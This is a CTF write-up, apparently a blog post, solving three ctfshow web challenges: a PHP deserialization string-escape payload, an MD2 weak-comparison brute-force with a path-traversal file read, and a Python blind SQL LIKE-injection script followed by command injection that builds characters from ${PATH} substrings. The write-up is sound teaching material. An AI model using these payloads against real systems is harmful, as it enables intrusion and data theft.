ctfshow web 月饼杯

web1_此夜圆

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

一个简单的反序列化,一看字符逃逸,这里是9->11,就是少变多的情况
在这里插入图片描述
本地写出需要逃逸的字符

";s:8:"password";s:5:"yu22x";}

在这里插入图片描述
然后30个字符就用15个Firebasky来逃逸即可

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
反序列化就会解析到password=yu22x

web2_故人心

在这里插入图片描述

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!
在php语言运算中。小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是说,小数点位数在这个范围内的,就会舍弃掉小数部分。
我们传的a就要在161323位之间
考虑PHP中的弱类型比较,对于0e开头且后部分纯数字的字符串作0看
爆哈希
<?php 
for($i=0;$i<9999;$i++){
    $b = '0e'.$i.'024452';
    if($b == hash("md2", $b)){
        echo $b;
        break;
    }
}
echo "\n";
for($j=0;$j<9999;$j++){
    $c = '0e'.$j.'48399';
    if($c == hash("md2",hash("md2", $c))){
        echo $c;
        break;
    }
}
?>
?a=1e-200&b=0e652024452&c=0e603448399
hint:
$flag="flag in /fl0g.txt";
然后POST:
url=wo://ctfshow.com/../../../../../fl0g.txt
慢慢返回上级路径即可打印出flag

web3_莫负婵娟

在这里插入图片描述SELECT * FROM users where username like binary('$username') and password like binary('$password')

like注入
like模糊查询可以使用%匹配多个字符,_匹配单个字符。
用这个来测试密码长度发现有32
在这里插入图片描述

在这里插入图片描述
爆破密码

import requests
import string

strs=string.digits+string.ascii_letters
url="https://579b01b2-a8c9-4ca1-afeb-4d46806557fa.challenge.ctf.show/login.php"

pwd=''
for i in range(32):
    print('i= '+str(i+1),end='\t')
    for j in strs:
        password=pwd+j+(31-i)*'_'
        data={'username':'yu22x','password':password}
        r=requests.post(url,data=data)
        if 'wrong' not in r.text:
            pwd+=j
            print(pwd)
            break
67815b0c009ee970fe4014abaa3Fa6A0

在这里插入图片描述
进入新页面
先用FUZZ 看看有什么字符可以用

密码本
<?php
for ($i=33;$i<127;$i++){
        echo chr($i);
        echo "\n";
}

在这里插入图片描述跑了一下只有大写字母和符号
环境变量构造

127.0.0.1;${PATH:5:1}${PATH:2:1}

在这里插入图片描述
同理构造

本来我是想用*这个通配符的但是被过滤了就只能用?这个通配符了
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值